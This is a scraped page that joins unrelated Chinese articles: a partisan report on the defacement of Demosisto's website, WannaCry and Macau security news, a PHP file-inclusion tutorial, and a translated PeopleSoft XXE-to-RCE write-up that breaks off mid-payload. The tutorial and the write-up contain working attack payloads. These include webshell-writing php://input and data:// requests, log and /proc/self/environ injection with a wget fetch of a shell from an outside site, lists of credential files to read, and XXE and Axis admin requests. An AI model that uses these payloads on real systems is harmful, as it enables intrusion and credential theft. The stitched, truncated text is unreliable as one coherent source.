香港众志网页被入侵 內容变反港独撑释法

近日,“港独”份子在香港的各大学校内张贴“港独”海报一事在网上引起大规模争论。不少网民更是自发在脸书等社交媒体上表达自己对这一事件的不满。

据香港《立场新闻》9月9日报道,“港独”组织“香港众志”表示,该政党的网页今日被黑客入侵,导致网站停运,网站内容更被改为爱国内容。“香港众志”表示,对网页内容毫不认同,谴责黑客的非法行为。

“香港众志”网页截图

《立场新闻》记者今早无法进入“香港众志”网页,浏览器Chrome警告“攻击者可能会试图从 www.demosisto.hk 窃取你的信息 (例如密码、邮件或信用卡资料)”。

根据香港众志在脸书贴出的截图,网页内容被改为一张黄之锋的漫画,并有大量简体字标语,包括“反‘港独’撑释法”、“捍卫中国领土”、“以本土之名行分裂之实”等,也有在早前中大“港独”标语事件中、内地学生广泛使用的标签“CUSU IS NOT CU”(中大学生会不代表中大学生)。

“香港众志”脸书上传网页被黑页面

“香港众志”在早上约11时半再发表声明,指技术人员目前正在修复网页。“香港众志”声称,去年人大释法,取消民选议员资格,是“剥夺逾十八万选民选举权利,令香港步向三权合作的威权体制”。

声明还扬言,“有关黑客杜撰‘香港众志’成员支持释法,实属幼稚的民族主义操作”。

9月8日,因“煽惑他人参与非法集会罪”和“参与非法集会罪”被判入狱的“香港众志”秘书长黄之锋,更是在脸书上发文扬言,“希望大家关注近日学界民主墙事件,不但只是中大问题,而是整个学界的言论自由受到打击。”

黄之锋脸书截图

“港独”组织“香港众志”由学民思潮和香港学联前成员牵头组成。前学联秘书长罗冠聪担任主席,学民思潮前召集人黄之锋,则担任秘书长。

该政党以“民主自决”为纲领,以“自发、自立、自主和自决”为目标,提出“以直接行动、策动公投和非暴力抗争,推动政经自主、实践民主治港”。

而黄之锋、罗冠聪等人正是2014年“占中”事件、以及暴力冲击政府总部东翼前地广场等事件的组织人、主要搞手。

“香港众志”成立后,多次拉拢香港传统反对派,勾结“台独”势力,甚至鼓吹要引入外国势力,恶意抹黑港人引以为傲的司法制度,干扰“一国两制”的实施。

8月17日,黄之锋、罗冠聪以及时任香港专上学生联会常委、秘书长周永康被判以“煽惑他人参与非法集会罪”和“参与非法集会罪”。法院裁定黄之锋即时监禁6个月、罗冠聪即时监禁8个月、周永康即时监禁7个月。

然而,本来入狱是令违法者有悔过的机会,但港媒却形容黄之锋3人以及新界东北案13人坐的是“风流监狱”。

“东北支援组”、“社民连”、“香港众志”及“大专政关”等反对派社团发起成立所谓的“在囚抗争者支援基金”,声称以400万港币为目标。其中145万港币用作16名入狱者的“定额津贴”,每人每月能领1万港币“支援金”。

除此之外,更有一批反对派议员滥用“公务探访”制度探监“解闷”,为其减少狱中工作。据悉,这些人入狱后12天内至少探监13次,密集的探监令16人无须按时工作。有建制派人士及学者狠批反对派派议员滥用特权及探监制度。

而身处监狱的16人不但个人脸书持续更新,更通过撰写信件或“中间人”转述的方式,继续对外散播“公民抗命”、“违法达义”等歪理,毫无悔改之意。0daybank

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜

E安全5月18日讯 据报道,WannaCry索病毒感染了美国陆军研究实验室(ARL)一台电脑。某安全厂商提供的受影响IP地址列表显示,其中一个IP与美国军方研究实验室有关。这是首个美国联邦政府遭遇WannaCry勒索软件感染的案例。

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜-E安全

美国陆军研究实验室电脑被感染

据不愿透露名称的安全公司发现,这个受害IP地址于5月12与攻击者已知的命令与控制服务器(C&C)块有过通信。经证实,WannaCry勒索软件成功感染了美国陆军研究实验室的电脑。这个IP地址与亚利桑那州Fort Huachuca主机上的服务器相连。至于IP地址所属的电脑类型,尚不清楚。

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜-E安全

虽然美国陆军研究实验室位于马里兰州的阿德尔菲,Fort Huachuca基地就是这个实验室设的多个基地之一。Fort Huachuca基地还是美国陆军网络企业技术命令(NETCOM)和信息系统工程命令(USAISC)所在地。

美国陆军研究实验室公共事务官员汤姆·莫耶未证实也未否认该信息。他指出,ARL非常重视网络安全,不会公开讨论确保网络完整性的系统和方法。

首个被感染的美国地方政府

据报告,美国当地时间周一,美国政府位于伊利诺斯州库克县的政府办事处被WannaCry感染,这是首个地方政府遭遇WannaCry勒索病毒的案例。

然而,白宫国土安全顾问托马斯·博塞特发表声明称,联邦系统未被感染。

WannaCry勒索病毒于上周爆发以来,感染范围之大,影响之广。这款勒索软件利用NSA的恶意代码扩进行扩散。

神秘的黑客组织“Shadow Brokers”(影子经纪人)从去年8月就开始泄露大量NSA黑客工具,包括扩散WannaCry的“永恒之蓝”(ETERNALBLUE)。

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜-E安全

E安全图解:目前全球被WannaCry勒索软件感染的热力图

尽管WannaCry造成欧洲大量组织机构无法正常运作,但美国官员表示,美国在很大程度上控制了WannaCry。

国土安全部的一名官员周二向记者透露,目前为止,向DHS报告遭遇感染的组织机构不到十家。事实证明,美国受到WannaCry勒索软件的影响的确较小。反过来,从另一个角度来说,除美国以外的其他网络发展较为迅速的国家,受感染的情况就相对严重得多了。

相关阅读:

勒索病毒国内蔓延 多地出入境系统受影响瘫痪
勒索病毒袭击事件,或是挑战现有金融秩序格局的导火索?
勒索病毒愈演愈烈 珠海紧急停办公积金
“永恒之蓝”勒索病毒已波及150国20万台计算机设备
谷歌卡巴斯基等发现勒索病毒幕后黑手或来自朝鲜
二轮攻击来了:勒索病毒2.0每小时感染3600台电脑
俄罗斯在这波WanaCry勒索病毒攻击风暴中损失惨重
Wannacry勒索软件蠕虫近期传播态势
如果你没被WannaCry感染就一定要小心Adylkuzz

E安全注:本文系E安全独家编译报道,转载请联系授权,并保留出处与链接,不得删减内容。联系方式:① 微信号zhu-geliang ②邮箱eapp@easyaq.com
@E安全,最专业的前沿网络安全媒体和产业服务平台,每日提供优质全球网络安全资讯与深度思考,欢迎关注微信公众号「E安全」(EAQapp),或登E安全门户网站www.easyaq.com , 查看更多精彩内容。0day

澳门将设网络安全预警中心以统一防范体系

新华社澳门5月17日电(记者刘畅)中国澳门特区政府保安司司长黄少泽17日表示,保安司去年年底已完成网络安全法案并提交予行政会,之后会进行相关探讨。根据法案,将设立一个网络安全预警中心,当发现有网络风险情况会实时向社会发布。

澳门将设网络安全预警中心以统一防范体系-E安全

黄少泽当日出席“突发事件的应急处置及善后策略”研讨会后表示,司法警察局及治安警察局至目前为止未接到“勒索软件”的相关报案。他称,特区政府由2015年开始已就设立网络安全中心进行研究,以更好地统一全澳网络安全的防范体系,去年年底已完成相关的网络安全法案及提交予行政会,之后会进行相关的探讨。

根据法案的初步设计,包括几方面的措施,其中最重要是设立一个网络安全预警中心,由行政公职局、邮电局及司警局等3个部门组成,各有分工。预警中心将包括决策机构、执行机构及咨询机构,当发现有网络风险情况会实时向社会发布,同时对关键基础设施网络安全进行防范。0day

常见文件包含发生场景与防御

http://p7.qhimg.com/t01c7abd33c8a0fdd0f.jpg

前言


PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的。而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞。利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段。本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细的分析,希望对大家攻击方法和防御上有帮助。如果内容有错误纰漏,请留言指正哦~

一、 文件包含概念


1、 概念

“代码注入”的典型代码就是文件包含(File Inclusion),我的理解是叫”外部数据流包含”,至于这个外部数据流是什么,可以是文件,也可以是POST数据流的形式。

文件包含可能会出现在JSP,PHP,ASP等语言中。

http://p7.qhimg.com/t01ea3cc5f026c236cc.png

我们这里主要以PHP为例。

简单的来说,就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件。

1、本地文件包含LFI(Local File Include)

2、远程文件包含RFI(Remote File Include)(需要php.ini中allow_url_include=on)

2、 函数

PHP中四个包含文件的函数:

1)include():

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

2)include_once():?

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

3)require():?

1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。

4)require_once():?

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别:

include(),include_once()在包含文件时,即使遇到错误,只生成警告(E_WARNING),下面的代码依然会继续执行;

而require()和require_once()则会报错,生成致命错误(E_COMPILE_ERROR)并停止脚本,直接退出程序。

因此,如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么使用 include。否则,在框架、CMS 或者复杂的 PHP 应用程序编程中,请始终使用 require 向执行流引用关键文件。这有助于在某个关键文件意外丢失的情况下,提高应用程序的安全性和完整性。

参考:

W3School PHP include文件:http://www.w3school.com.cn/php/php_includes.asp

文件包含漏洞总结:http://byd.dropsec.xyz/2016/07/19/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

二、 主要包含形式


1、包含本地文件

页面后端php文件”main.php”测试代码:

http://p1.qhimg.com/t01774f3b1102a5e2cb.png

http://p1.qhimg.com/t0143862d6a1a79dca9.png

payload:

1
2
3
http://www.aaa.com/include/main.php?page=C:\\oneword
www.aaa.com/file.php?file=C:\\boot.ini(Windows查看系统版本)
www.aaa.com/file.php?file=C:\\Windows\System32\inetsrv\MetaBase.xml(Windows查看IIS配置文件)

(绝对路径)

1
2
3
http://www.aaa.com/include/main.php?page=../../oneword
www.aaa.com/main.php?page=../../../../../etc/passwd
www.aaa.com/main.php?page=../../../../../proc/self/environ

(相对路径)

2、包含远程文件

payload:

1
2
http://www.aaa.com/include/url.php?url=http://www.bbb.com/2.txt
http://www.aaa.com/include/url.php?url=[http|https|ftp]://www.bbb.com/2.txt(可以有三种,http、https、ftp)

参考:

Exploiting PHP File Inclusion – Overview:https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

三、 文件包含技巧


1、包含上传文件

这个很好理解,也是最简单的一种办法。如果用户上传的文件内容中包含PHP代码,那么这些代码被文件包含函数加载后将会被执行。但能否攻击成功,取决于上传功能的设计,比如需要知道上传文件存放的物理路径,还需要上传的文件有执行权限。

防御:

1)做好上传限制

2)隐藏文件路径

3)设置文件访问、执行权限

2、伪协议

1) php://input

说明:

用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

条件:

php <5.0 ,allow_url_include=Off 情况下也可以用

php > 5.0,只有在allow_url_fopen=On 时才能使用

用例1 增加一句话:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php?fputs(fopen("shell.php","a"),"<?php?phpinfo();?>")??>

http://p3.qhimg.com/t01d810b4fe4c219ac7.png

结果将在file.php所在文件下的文件shell.php内增加”<?php phpinfo();?>”一句话。

http://p8.qhimg.com/t012e5426ec7d4e0301.png

用例2 增加文件:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php?fputs(fopen("oneword.php","w"),"<?php?phpinfo();?>")??>

这里fopen参数为w,可新建一个文件。

用例3 执行系统命令:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php?system('ipconfig');?>

http://p2.qhimg.com/t010d454e482e30f635.png

2)data://

说明:

这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

条件:

1
2
allow_url_include=On
php?>?5.2

用例1 文字命令:

后台php代码:

http://p0.qhimg.com/t0115e2ffb6556a534f.png

Payload:

1
2
http://localhost/file.php?file=data:text/plain,<?php?system(whoami)?>
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==

(使用了base64加密的内容)

用例2 图片命令:

后台php代码:

http://p1.qhimg.com/t019710ca2c411d705d.png

Payload:

1
http://localhost/image.php?imagedata=data://image/jpeg;base64,.....

(后面加上图片木马)

参考:

data://手册:http://www.php.net/manual/zh/wrappers.data.php

3)php://filter

说明:

这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:

?page=php://filter/read=convert.base64-encode/resource=php.ini

访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码

http://p2.qhimg.com/t0128370b14235ad0d6.png

解码之后得到:

http://p0.qhimg.com/t011debe472d9e246cb.png

即为php.ini内容。

Payload:

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\\oneword

(绝对路径)

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword

(相对路径)

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt

(远程文件)

参考:

《php:// 》:http://php.net/manual/zh/wrappers.php.php

3、包含日志文件

说明:

比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

1)日志默认路径

(1) apache+Linux日志默认路径

1
/etc/httpd/logs/access_log

或者

1
/var/log/httpd/access_log

(2) apache+win2003日志默认路径

1
2
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

1
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

1
%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件在用户安装目录的logs目录下

如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里

也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

2)web中间件默认配置

(1) apache+linux 默认配置文件

1
/etc/httpd/conf/httpd.conf

或者

1
index.php?page=/etc/init.d/httpd

(2) IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

(3) IIS7.0+WIN 配置文件

C:\Windows\System32\inetsrv\config\applicationHost.config

3)网站配置文件

dedecms数据库配置文件data/common.inc.php,

discuz全局配置文件config/config_global.php,

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

用例1 包含日志一句话:

PayLoad:

1
http://localhost/include/file.php?file=<?php?phpinfo();??>

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent

http://p4.qhimg.com/t019e81705c428f8109.png

但是在日志里这句话被编码了

http://p2.qhimg.com/t01ef9a98fbe789ff7a.png

所以用Burp Suite修改来绕过编码

http://p1.qhimg.com/t013423bd6470b4753d.png

日志内容如下:

Payload:

1
http://localhost/include/file.php?file=../../apache/logs/access.log

(这里利用相对路径,找到日志文件,并以php解析的方式打开了)

http://p7.qhimg.com/t01a0accba3adf423dc.png

这样,日志就成了带有一句话的文件了。

参考:

包含日志文件getshell:http://www.cnblogs.com/my1e3/p/5854897.html

4、包含/proc/self/environ文件

用例:

1)找到文件包含漏洞

测试一下找出来

1
2
www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd

2)检查proc/self/environ是否可用访问

1
www.aaa.com/view.php?page=../../../../../proc/self/environ

可访问就能利用了

3)注入代码

访问

1
www.aaa.com/view.php?page=../../../../../proc/self/environ

选择User-Agent 写代码如下:

1
<?system('wget?http://www.yourweb.com/oneword.txt?-O?shell.php');?>

然后提交请求。

我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

4)访问shell即可

参考:

LFI通过proc/self/environ直接获取webshell:http://www.linuxso.com/jiaobenruqin/1399.html

5、包含Session文件

说明:

这部分需要攻击者能够控制部分Session文件的内容。PHP默认生成的Session文件一般存放在/tmp目录下。

session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell。

http://p0.qhimg.com/t01f57768a0eddad10a.jpg

读取session文件:

1
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2

四、 防御与绕过


1、00字符截断(PHP<5.3.4)

说明:

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

1
../etc/passwd\0

通过web输入时,只需UrlEncode,变成:

1
../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧

防御方法:

在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节

2、 超长字符截断

采用00字符过滤并没有完全解决问题,

利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html

我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

而利用”./”的方式即可构造出超长目录字符串:

http://p3.qhimg.com/t010c6ea7363ed32614.png

除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()

3、任意目录遍历

除了这种攻击方式,还可以使用”../../../”这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

http://p4.qhimg.com/t0112f3decbf824933c.png

防御方法:

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。

open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)

比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件。

当设置了open_basedir时,则包含文件失败。

4、问号截断

http://p1.qhimg.com/t01c9c996c616b5310f.png

这里看似将路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

攻击者可以构造类似如下的攻击URL:

1
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

产生的原理:

1
/?path=http://localhost/test/solution.php?

最终目标应用程序代码实际上执行了:

1
require_once?"http://localhost/test/solution.php?/action/m_share.php";

(注意,这里很巧妙,问号”?”后面的代码被解释成URL的querystring,这也是一种”截断”思想,和%00一样)

攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合

防御思路:

关闭远程文件包含的配置选项allow_url_include = Off

参考:

LFI、RFI、PHP封装协议安全问题学习:http://www.cnblogs.com/littlehann/p/3665062.html

五、 敏感文件位置


1、Windows:

1
2
3
4
5
6
7
8
??C:\boot.ini??//查看系统版本
??C:\Windows\System32\inetsrv\MetaBase.xml??//IIS配置文件
??C:\Windows\repair\sam??//存储系统初次安装的密码
??C:\Program?Files\mysql\my.ini??//Mysql配置
??C:\Program?Files\mysql\data\mysql\user.MYD??//Mysql?root
??C:\Windows\php.ini??//php配置信息
??C:\Windows\my.ini??//Mysql配置信息
??...

2、Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
??/root/.ssh/authorized_keys
??/root/.ssh/id_rsa
??/root/.ssh/id_ras.keystore
??/root/.ssh/known_hosts
??/etc/passwd
??/etc/shadow
??/etc/my.cnf
??/etc/httpd/conf/httpd.conf
??/root/.bash_history
??/root/.mysql_history
??/proc/self/fd/fd[0-9]*(文件标识符)
??/proc/mounts
??/porc/config.gz

六、 防御方法总结


1、无需情况下设置allow_url_include和allow_url_fopen为关闭

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

4、严格检查变量是否已经初始化。

5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。

6、严格检查include类的文件包含函数中的参数是否外界可控。

7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

8、在发布应用程序之前测试所有已知的威胁。


本文转载自 神月资讯
原文链接:http://mp.weixin.qq.com/s/XDwlj6pRx4bQWtNkv_QnVg0day

Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞

http://p9.qhimg.com/t013fe6976cf440bc87.png

翻译:WisFree

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

Oracle PeopleSoft


在几个月以前,我有幸得到了审查Oracle PeopleSoft解决方案的机会,审查对象包括PeopleSoft HRMS和PeopleTool在内。除了几个没有记录在案的CVE之外,网络上似乎没有给我提供了多少针对这类软件的攻击方法,不过ERPScan的技术专家在两年前发布的这份演讲文稿倒是给我提供了不少有价值的信息。从演示文稿中我们可以清楚地了解到,PeopleSoft简直就是一个装满了漏洞的容器,只不过目前还没有多少有关这些漏洞的公开信息而已。

PeopleSoft应用包含各种各样不同的终端节点,其中很大一部分节点是没有经过身份验证的。除此之外,很多服务正好使用的仍是默认密码,这很有可能是为了更好地实现互联互通性才这样设计的。但事实证明,这种设计不仅是非常不安全的,而且也十分不明智,而这将会让PeopleSoft完全暴露在安全威胁之中。

在这篇文章中,我将会给大家介绍一种能够将XXE漏洞转换成以SYSTEM权限运行命令的通用方法,几乎所有的PeopleSoft版本都会受到影响。

XXE:访问本地网络


目前该产品中已知的XXE漏洞已经有很多了,例如CVE-2013-3800CVE-2013-3821。ERPScan在演示文稿中记录的最后一个漏洞样本为CVE-2017-3548,简单来说,这些漏洞将允许我们提取出PeopleSoft和WebLogic控制台的登录凭证,但拿到这两个控制台的Shell绝非易事。除此之外,由于最后一个XXE漏洞为Blind-XXE,因此我们假设目标网络安装有防火墙软件,并且增加了从本地文件提取数据的难度。

CVE-2013-3821:集成网关HttpListeningConnector XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST?/PSIGW/HttpListeningConnector?HTTP/1.1
Host:?website.com
Content-Type:?application/xml
...
<?xml?version="1.0"?>
<!DOCTYPE?IBRequest?[
<!ENTITY?x?SYSTEM?"http://localhost:51420">
]>
<IBRequest>
???<ExternalOperationName>&x;</ExternalOperationName>
???<OperationType/>
???<From><RequestingNode/>
??????<Password/>
??????<OrigUser/>
??????<OrigNode/>
??????<OrigProcess/>
??????<OrigTimeStamp/>
???</From>
???<To>
??????<FinalDestination/>
??????<DestinationNode/>
??????<SubChannel/>
???</To>
???<ContentSections>
??????<ContentSection>
?????????<NonRepudiation/>
?????????<MessageVersion/>
?????????<Data><![CDATA[<?xml?version="1.0"?>your_message_content]]>
?????????</Data>
??????</ContentSection>
???</ContentSections>
</IBRequest>

CVE-2017-3548:集成网关PeopleSoftServiceListeningConnector XXE

1
2
3
4
5
POST?/PSIGW/PeopleSoftServiceListeningConnector?HTTP/1.1
Host:?website.com
Content-Type:?application/xml
...
<!DOCTYPE?a?PUBLIC?"-//B/A/EN"?"C:\windows">

在这里,我们准备利用这些XXE漏洞来访问localhost的各种服务,并尝试绕过防火墙规则或身份认证机制,但现在的问题是如何找到服务所绑定的本地端口。为了解决这个问题,我们可以访问服务的主页,然后查看cookie内容:

1
Set-Cookie:?SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;

我们可以看到,当前服务所使用的端口为51500。此时,我们就可以通过http://localhost:51500/来访问应用程序了。

Apache Axis


其中一个未进行身份验证的服务就是Apache Axis 1.4服务器,所在的URL地址为http://website.com/pspc/services。Apache Axis允许我们在Java类中通过生成WSDL和帮助代码来构建SOAP终端节点并与之进行交互。为了管理服务器,我们必须与AdminService进行交互。URL地址如下:http://website.com/pspc/services/AdminService。

为了让大家能够更好地理解,我们在下面给出了一个演示样例。在下面这个例子中,一名管理员基于java.util.Random类创建了一个终端节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST?/pspc/services/AdminService
Host:?website.com
SOAPAction:?something
Content-Type:?application/xml
...
<?xml?version="1.0"?encoding="utf-8"?>
<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????<soapenv:Body>
????????<ns1:deployment
????????????xmlns="http://xml.apache.org/axis/wsdd/"
????????????xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
????????????xmlns:ns1="http://xml.apache.org/axis/wsdd/">
????????????<ns1:service?name="RandomService"?provider="java:RPC">
????????????????<ns1:parameter?name="className"?value="java.util.Random"/>
????????????????<ns1:parameter?name="allowedMethods"?value="*"/>
????????????</ns1:service>
????????</ns1:deployment>
????</soapenv:Body>
</soapenv:Envelope>

这样一来,java.util.Random类中的每一个公共方法都可以作为一个Web服务来使用了。在下面的例子中,我们通过SOAP来调用Random.nextInt():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST?/pspc/services/RandomService
Host:?website.com
SOAPAction:?something
Content-Type:?application/xml
...
<?xml?version="1.0"?encoding="utf-8"?>
<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????<soapenv:Body>
????????<api:nextInt?/>
????</soapenv:Body>
</soapenv:Envelope>

响应信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1?200?OK
...
<?xml?version="1.0"?encoding="UTF-8"?>
<soapenv:Envelope
????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
????<soapenv:Body>
????????<ns1:nextIntResponse
????????????soapen
????????????xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
????????????<nextIntReturn?href="#id0"/>
????????</ns1:nextIntResponse>
????????<multiRef?id="id0"?soapenc:root="0"
????????????soapen
????????????xsi:type="xsd:int"
????????????xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
????????????1244788438?<!--?Here's?our?random?integer?-->
????????</multiRef>
????</soapenv:Body>
</soapenv:Envelope>

虽然这个管理员终端节点已经屏蔽了外部IP地址,但是当我们通过localhost来访问它时却不需要输入任何的密码。因此,这里也就成为了我们的一个攻击测试点了。由于我们使用的是一个XXE漏洞,因此POST请求在这里就不可行了,而我们需要一种方法来将我们的SOAP Payload转换为GET请求发送给主机服务器。

Axis:从POST到GET


Axis API允许我们发送GET请求。它首先会接收我们给定的URL参数,然后再将其转换为一个SOAP Payload。下面这段Axis源代码样例会将GET参数转换为一个XML Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public?class?AxisServer?extends?AxisEngine?{
????[...]
????{
????????String?method?=?null;
????????String?args?=?"";
????????Enumeration?e?=?request.getParameterNames();
????????while?(e.hasMoreElements())?{
????????????String?param?=?(String)?e.nextElement();
????????????if?(param.equalsIgnoreCase?("method"))?{
????????????????method?=?request.getParameter?(param);
????????????}
????????????else?{
????????????????args?+=?"<"?+?param?+?">"?+?request.getParameter?(param)?+
????????????????????????"</"?+?param?+?">";
????????????}
????????}
????????String?body?=?"<"?+?method?+?">"?+?args?+?"</"?+?method?+?">";
????????String?msgtxt?=?"<SOAP-ENV:Envelope"?+
????????????????"?xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">"?+
????????????????"<SOAP-ENV:Body>"?+?body?+?"</SOAP-ENV:Body>"?+
????????????????"</SOAP-ENV:Envelope>";
????}
}

为了深入理解它的运行机制,我们再给大家提供一个样例:

1
2
3
4
GET?/pspc/services/SomeService
??????method=myMethod
?????&parameter1=test1
&parameter2=test2

上面这个GET请求等同于:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml?version="1.0"?encoding="utf-8"?>
<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????<soapenv:Body>
????????<myMethod>
????????????<parameter1>test1</parameter1>
????????????<parameter2>test2</parameter2>
????????</myMethod>
????</soapenv:Body>
</soapenv:Envelope>

然而,当我们尝试使用这种方法来设置一个新的终端节点时,系统却出现了错误。我们的XML标签必须有属性,但我们的代码却做不到这一点。当我们尝试在GET请求中添加标签属性时,情况如下:

1
2
3
4
GET?/pspc/services/SomeService
??????method=myMethod+attr0="x"
?????&parameter1+attr1="y"=test1
&parameter2=test2

但我们得到的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml?version="1.0"?encoding="utf-8"?>
<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
